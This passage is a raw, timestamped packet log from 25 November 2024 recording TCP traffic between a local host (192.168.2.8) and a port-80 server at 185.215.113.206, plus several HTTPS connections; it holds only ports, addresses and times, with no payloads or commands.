Nov 25, 2024 12:08:46.777524948 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.777801037 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.778397083 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.778408051 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.778481007 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.778481960 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.779051065 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.779098988 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.779100895 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.779592991 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.860589981 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.860646009 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.860681057 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.860755920 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.860774040 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.860822916 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.860882998 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.861051083 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.861671925 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.861768961 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.861778021 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.861834049 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.862509012 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.862595081 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.862684965 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.938002110 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.938107967 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.938241959 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.938451052 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.938551903 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.938587904 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.938838959 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.939486980 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.939500093 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.939568043 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.940455914 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.940475941 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.940534115 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.940576077 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.941035032 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.941102982 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.941134930 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.941226006 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.941785097 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.941886902 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.942076921 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.942722082 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.942783117 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.942816973 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.942984104 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.943741083 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.944006920 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.944200993 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.944200993 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.944684029 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.944695950 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.945173025 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.945290089 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.945380926 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.945396900 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.945447922 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.946243048 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.946348906 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.946371078 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.946419001 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.947073936 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.947149038 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.947164059 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.947273970 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.947895050 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.948045015 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.948223114 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.948323965 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.949105024 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.949115038 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.949198961 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.949667931 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.949775934 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.949817896 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.950483084 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.950654030 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.950720072 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.950759888 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.951082945 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.951482058 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.951555967 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.951567888 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.952353001 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.952480078 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.952940941 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.953027964 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.953536034 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.953548908 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.953624010 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.954014063 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.954128981 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.954138994 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.954236984 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.955013990 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.955033064 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.955096006 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.955096006 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.955976009 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.956091881 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.956465006 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.956799030 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.956895113 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.956912994 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.957051992 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.957477093 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.957669020 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.957828999 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.958359003 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.958452940 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.958465099 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.958561897 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.959495068 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.959507942 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.959826946 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.960141897 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.960274935 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.960275888 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.960333109 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.960980892 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.961088896 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.961097956 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.961206913 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.961910009 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.961921930 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.962296963 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.963255882 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.963268042 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.963584900 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.963617086 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.963809013 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.963946104 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.964035988 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.964461088 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.964557886 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.964615107 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.965398073 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.965557098 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.965662003 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.966340065 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.966398954 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.966439009 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.966707945 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.967850924 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.967863083 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.967966080 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.967992067 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.968066931 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.968103886 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.968831062 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.968967915 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.968986034 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.969273090 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.969717026 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.969759941 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.969834089 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.970599890 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.970731020 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.970880032 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.971466064 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.971561909 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.971798897 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.972387075 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.972400904 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.972484112 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.973176003 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.973356009 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.973393917 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.973507881 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.974061012 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.974241018 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.974244118 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.974294901 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.975061893 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.975142956 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.975178003 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.975428104 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.975843906 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.975933075 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.975971937 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.976286888 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:46.976600885 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:46.977112055 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.073856115 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.148941994 CET	443	49778	172.64.41.3	192.168.2.8
Nov 25, 2024 12:08:47.150624990 CET	49778	443	192.168.2.8	172.64.41.3
Nov 25, 2024 12:08:47.150645018 CET	443	49778	172.64.41.3	192.168.2.8
Nov 25, 2024 12:08:47.151751041 CET	443	49778	172.64.41.3	192.168.2.8
Nov 25, 2024 12:08:47.151822090 CET	49778	443	192.168.2.8	172.64.41.3
Nov 25, 2024 12:08:47.154181004 CET	49787	443	192.168.2.8	152.195.19.97
Nov 25, 2024 12:08:47.154207945 CET	443	49787	152.195.19.97	192.168.2.8
Nov 25, 2024 12:08:47.154230118 CET	49788	443	192.168.2.8	204.79.197.237
Nov 25, 2024 12:08:47.154269934 CET	443	49788	204.79.197.237	192.168.2.8
Nov 25, 2024 12:08:47.154346943 CET	49787	443	192.168.2.8	152.195.19.97
Nov 25, 2024 12:08:47.154356956 CET	49788	443	192.168.2.8	204.79.197.237
Nov 25, 2024 12:08:47.156769037 CET	49778	443	192.168.2.8	172.64.41.3
Nov 25, 2024 12:08:47.156868935 CET	443	49778	172.64.41.3	192.168.2.8
Nov 25, 2024 12:08:47.157054901 CET	49787	443	192.168.2.8	152.195.19.97
Nov 25, 2024 12:08:47.157068014 CET	443	49787	152.195.19.97	192.168.2.8
Nov 25, 2024 12:08:47.157088041 CET	49788	443	192.168.2.8	204.79.197.237
Nov 25, 2024 12:08:47.157105923 CET	443	49788	204.79.197.237	192.168.2.8
Nov 25, 2024 12:08:47.185007095 CET	443	49773	172.64.41.3	192.168.2.8
Nov 25, 2024 12:08:47.188757896 CET	49773	443	192.168.2.8	172.64.41.3
Nov 25, 2024 12:08:47.188766956 CET	443	49773	172.64.41.3	192.168.2.8
Nov 25, 2024 12:08:47.189099073 CET	443	49773	172.64.41.3	192.168.2.8
Nov 25, 2024 12:08:47.192039013 CET	49789	443	192.168.2.8	23.44.201.21
Nov 25, 2024 12:08:47.192069054 CET	443	49789	23.44.201.21	192.168.2.8
Nov 25, 2024 12:08:47.192264080 CET	49789	443	192.168.2.8	23.44.201.21
Nov 25, 2024 12:08:47.192315102 CET	49773	443	192.168.2.8	172.64.41.3
Nov 25, 2024 12:08:47.192387104 CET	443	49773	172.64.41.3	192.168.2.8
Nov 25, 2024 12:08:47.192996025 CET	49789	443	192.168.2.8	23.44.201.21
Nov 25, 2024 12:08:47.193007946 CET	443	49789	23.44.201.21	192.168.2.8
Nov 25, 2024 12:08:47.193030119 CET	49790	443	192.168.2.8	20.110.205.119
Nov 25, 2024 12:08:47.193063974 CET	443	49790	20.110.205.119	192.168.2.8
Nov 25, 2024 12:08:47.193181992 CET	49790	443	192.168.2.8	20.110.205.119
Nov 25, 2024 12:08:47.193314075 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.196161032 CET	49790	443	192.168.2.8	20.110.205.119
Nov 25, 2024 12:08:47.196171999 CET	443	49790	20.110.205.119	192.168.2.8
Nov 25, 2024 12:08:47.196656942 CET	443	49775	172.64.41.3	192.168.2.8
Nov 25, 2024 12:08:47.197561979 CET	49775	443	192.168.2.8	172.64.41.3
Nov 25, 2024 12:08:47.197571039 CET	443	49775	172.64.41.3	192.168.2.8
Nov 25, 2024 12:08:47.198143959 CET	443	49776	172.64.41.3	192.168.2.8
Nov 25, 2024 12:08:47.198394060 CET	49776	443	192.168.2.8	172.64.41.3
Nov 25, 2024 12:08:47.198405027 CET	443	49776	172.64.41.3	192.168.2.8
Nov 25, 2024 12:08:47.199037075 CET	443	49775	172.64.41.3	192.168.2.8
Nov 25, 2024 12:08:47.199110985 CET	49775	443	192.168.2.8	172.64.41.3
Nov 25, 2024 12:08:47.200023890 CET	443	49776	172.64.41.3	192.168.2.8
Nov 25, 2024 12:08:47.200131893 CET	49776	443	192.168.2.8	172.64.41.3
Nov 25, 2024 12:08:47.200458050 CET	49778	443	192.168.2.8	172.64.41.3
Nov 25, 2024 12:08:47.200464964 CET	443	49778	172.64.41.3	192.168.2.8
Nov 25, 2024 12:08:47.204535007 CET	49775	443	192.168.2.8	172.64.41.3
Nov 25, 2024 12:08:47.204649925 CET	443	49775	172.64.41.3	192.168.2.8
Nov 25, 2024 12:08:47.205054045 CET	49776	443	192.168.2.8	172.64.41.3
Nov 25, 2024 12:08:47.205168962 CET	443	49776	172.64.41.3	192.168.2.8
Nov 25, 2024 12:08:47.234363079 CET	443	49774	172.64.41.3	192.168.2.8
Nov 25, 2024 12:08:47.239089012 CET	443	49777	172.64.41.3	192.168.2.8
Nov 25, 2024 12:08:47.242635012 CET	443	49772	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:47.242873907 CET	49774	443	192.168.2.8	172.64.41.3
Nov 25, 2024 12:08:47.242873907 CET	49777	443	192.168.2.8	172.64.41.3
Nov 25, 2024 12:08:47.242885113 CET	443	49774	172.64.41.3	192.168.2.8
Nov 25, 2024 12:08:47.242893934 CET	443	49777	172.64.41.3	192.168.2.8
Nov 25, 2024 12:08:47.243077040 CET	49772	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:47.243093014 CET	443	49772	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:47.243453979 CET	443	49774	172.64.41.3	192.168.2.8
Nov 25, 2024 12:08:47.244015932 CET	443	49777	172.64.41.3	192.168.2.8
Nov 25, 2024 12:08:47.244616032 CET	49777	443	192.168.2.8	172.64.41.3
Nov 25, 2024 12:08:47.244800091 CET	443	49772	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:47.244884968 CET	49772	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:47.246629000 CET	49776	443	192.168.2.8	172.64.41.3
Nov 25, 2024 12:08:47.246629000 CET	49773	443	192.168.2.8	172.64.41.3
Nov 25, 2024 12:08:47.246629000 CET	49775	443	192.168.2.8	172.64.41.3
Nov 25, 2024 12:08:47.246640921 CET	443	49776	172.64.41.3	192.168.2.8
Nov 25, 2024 12:08:47.246655941 CET	443	49775	172.64.41.3	192.168.2.8
Nov 25, 2024 12:08:47.246679068 CET	49778	443	192.168.2.8	172.64.41.3
Nov 25, 2024 12:08:47.259406090 CET	49774	443	192.168.2.8	172.64.41.3
Nov 25, 2024 12:08:47.259727955 CET	443	49774	172.64.41.3	192.168.2.8
Nov 25, 2024 12:08:47.259823084 CET	49777	443	192.168.2.8	172.64.41.3
Nov 25, 2024 12:08:47.259932995 CET	443	49777	172.64.41.3	192.168.2.8
Nov 25, 2024 12:08:47.261003017 CET	49772	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:47.261003017 CET	49772	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:47.261019945 CET	443	49772	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:47.261208057 CET	443	49772	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:47.289822102 CET	49776	443	192.168.2.8	172.64.41.3
Nov 25, 2024 12:08:47.289824009 CET	49775	443	192.168.2.8	172.64.41.3
Nov 25, 2024 12:08:47.305063009 CET	49774	443	192.168.2.8	172.64.41.3
Nov 25, 2024 12:08:47.305073023 CET	49777	443	192.168.2.8	172.64.41.3
Nov 25, 2024 12:08:47.305085897 CET	443	49777	172.64.41.3	192.168.2.8
Nov 25, 2024 12:08:47.305124044 CET	49772	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:47.305144072 CET	443	49772	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:47.352458000 CET	49772	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:47.352565050 CET	49777	443	192.168.2.8	172.64.41.3
Nov 25, 2024 12:08:47.505659103 CET	49791	443	192.168.2.8	23.209.72.33
Nov 25, 2024 12:08:47.505681038 CET	443	49791	23.209.72.33	192.168.2.8
Nov 25, 2024 12:08:47.506611109 CET	49791	443	192.168.2.8	23.209.72.33
Nov 25, 2024 12:08:47.506711006 CET	49791	443	192.168.2.8	23.209.72.33
Nov 25, 2024 12:08:47.506717920 CET	443	49791	23.209.72.33	192.168.2.8
Nov 25, 2024 12:08:47.519547939 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.519617081 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.519650936 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.519994974 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.520081043 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.520097017 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.520242929 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.520520926 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.520665884 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.520669937 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.520739079 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.521429062 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.521503925 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.521608114 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.521765947 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.522269964 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.522346020 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.522419930 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.522552013 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.523144960 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.523264885 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.523286104 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.523461103 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.524019957 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.524125099 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.524185896 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.524342060 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.524883986 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.524981976 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.525023937 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.525187016 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.525789022 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.525923967 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.525958061 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.526138067 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.526663065 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.526760101 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.526782036 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.526808023 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.527524948 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.527637005 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.527672052 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.527825117 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.528568983 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.528593063 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.528703928 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.529283047 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.529386997 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.529413939 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.529488087 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.530118942 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.530180931 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.530241966 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.530383110 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.530994892 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.531049013 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.531085014 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.531177998 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.531883001 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.531986952 CET	80	49744	185.215.113.206	192.168.2.8
